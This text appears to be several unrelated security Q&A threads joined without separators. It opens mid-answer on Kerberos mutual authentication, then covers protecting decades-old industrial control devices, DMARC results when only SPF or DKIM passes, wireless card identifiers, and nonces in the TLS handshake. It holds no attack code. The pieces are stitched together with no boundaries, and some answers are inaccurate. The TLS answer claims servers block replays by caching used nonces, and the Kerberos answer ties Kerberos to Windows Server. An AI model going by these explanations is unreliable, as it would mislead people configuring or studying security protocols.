Kerberos supports mutual authentication, but you must setup a Windows domain to use Kerberos authentication. This requires a Windows Server OS.

After that, the client must be configured to require mutual authentication once both systems are joined to the domain---mutual authentication is not required by default even when it is available.


How would one design security in internet/network-facing industrial devices running for decades where malfunction could cost lifes? The current trend goes to make every device accessible from the Internet for convenience, economic reasons and so on (sometimes even including the control station of a power plant).

But many industrial solutions like SCADA systems, Motor Control Units of cars, industrial robots, railway control, medical devices like X-ray machines, and so on run not updated for decades because:

The manufacturer does not provide updates
Updates would require revalidation/recertification (internal or by an external organisation/governmental authority)
Updates are not allowed (manufacturer officially supports only a specific patch-level of the underlying OS, and so on)
"Never change a running system" (especially if the update might cause life threatening situations/liabilities)
From some insiders of these branches I heard that some of them are only allowed to use compilers 5 years or older, because this way they think about all bugs in the compiler are found in the 5 years and use the official list of bugs of that compiler and use the workarounds for them.

Running Windows NT 4 is not unheard of in these environments for these reasons.

My first step would have been to use HTTPS/SSL to secure the channel but most of us have heard of Heartbleed, POODLE, Diginotar, etc. which require updates within days or faster. But this would be impossible because revalidation normally takes weeks or months and leaves the system vulnerable in the meantime. Next there could be vulnerabilites in the network-stack, authentification, and other subsystems.

So how would one design security in Internet/network-facing industrial devices running for decades where malfunctions could cost lives?

(This is just a hypotethical question since I am not involved in developing such devices and the insiders I know could not answer my questions. This question mainly focuses on the embedded device or the computer/device controlling the device and an attacker trying to gain access to it/control it.)

Your 'first step' is actually the trap the industry fell into. By believing that there is a way to put these systems online without a thorough understanding of the security domain, and without providing a way to upgrade the security components without compromising the integrity of the rest of the systems, they trapped themselves with process dependencies on ancient, insecure protocols.  By that, I mean they offered the promise of cheap remote-controlled maintenance, so they eliminated the need for expensive experts to travel to remote sites.  They reduced head-count; which left themselves utterly dependent on the remote control systems.  They can't shut them off now even in the face of a cyber-security emergency, because they depend on that control to keep them running.

The first step is to segregate the internet facing components from the rest of the systems.  Leaving the system controller online and hoping its integrated sign-on page from 2003 will keep it safe is a failure.

Because SCADA networks are so vulnerable, the entire ICN needs to be firewalled from every other system; including other internal systems and networks.  View yourself as the SCADA operator and assume that everyone else in your organization, including your sysadmins and network admins, is attempting to hack into your SCADA network - then defend that.

It may be that you have no adequate defense, or that the risk of compromise is too great in terms of safety.  An air-gap is the last, best defense; even then, it's not perfect.  Stuxnet was an example of an ICN attack that leapt the air gap using a 0-day exploit on a USB drive.


DMARC policy result when exactly one of SPF and DKIM fails and exactly one succeeds E-mail forwarding can break SPF, but it should not break DKIM.  I want to make a DMARC policy that will evaluate to "pass" when either DKIM or SPF passes, and "fail" when neither DKIM or SPF passes.  Is this possible?  If so, how is this done?

I'm trying to wrap my head around the result of a DMARC policy evaluation where exactly one of SPF and DKIM fails and one succeeds.  I've read RFC7489 and I've found these two quotes:

  DMARC evaluation can only yield a "pass" result after one of the
     underlying authentication mechanisms passes for an aligned
     identifier.

  Final disposition of a message is always a matter of local policy.
     An operator that wishes to favor DMARC policy over SPF policy, for
     example, will disregard the SPF policy, since enacting an
     SPF-determined rejection prevents evaluation of DKIM; DKIM might
     otherwise pass, satisfying the DMARC evaluation.  There is a
     trade-off to doing so, namely acceptance and processing of the entire
     message body in exchange for the enhanced protection DMARC provides.

Emphasis mine.

From these quotes, it's not clear what should happen when DKIM succeeds and SPF fails; the evaluation might pass is not something I can base a decision on.

from my uderstanding of the RFC this should be default behaviour. if you have set the fo field in the dmarc record it will modify this.

Recievers are permitted to process the message as they see fit, and may reject a message on an spf fail (with a reject mechanism "-"), but provding the standard is implemented in full and DKIM passes, with the default fo setting of 0, the message will pass authentication.

If the SPF record is set to softfail this should allow the DKIM to be processed and DMARC polcies to superceed the SPF result in most cases.


Identification info that my wireless card sends to the (wifi) network Are any other identification information that my wireless card sends to the Wi-Fi network apart from the MAC address ? If so are they changeable?

Let's say, for example, that I connect to a Wi-Fi network once and then I change my MAC address to reconnect: can anybody see that I am the same user ?

The only identifying information that the card sends is the MAC address.

However, other parts of your system can send identifying information as well.  For example, the DHCP client may send your computer's name to the DHCP server; if you browse the web, you can be identified through browser fingerprinting.


nonce in SSL/TLS handshake In SSL/TLS handshake, a nonce is always sent by the client to server and vice versa.
The nonce basically consists of a random number and unix timestamp. Why do we need the unix timestamp?

As the nonce is always a random number, how does this protect from replay attack by a man-in-the-middle? Being a random thing, same nonce might be repeated in another handshake with the same server.

Can somebody tell me any other purpose of this nonce?

The server should never allow a duplicate nonce. This is what protects from a replay attack. Someone can capture and try to re-send your message but it will be denied because that nonce has been recorded and can't be used again.

If you have a timestamp and deny requests older than say 5 minutes, then you can clear cache of used nonces every 5 minutes. You can clear your nonces because even if they replayed one at this point it will see the timestamp is expired and fail anyway. This means you don't have to keep every nonce ever used until the end of time which results in less storage space and faster lookup times.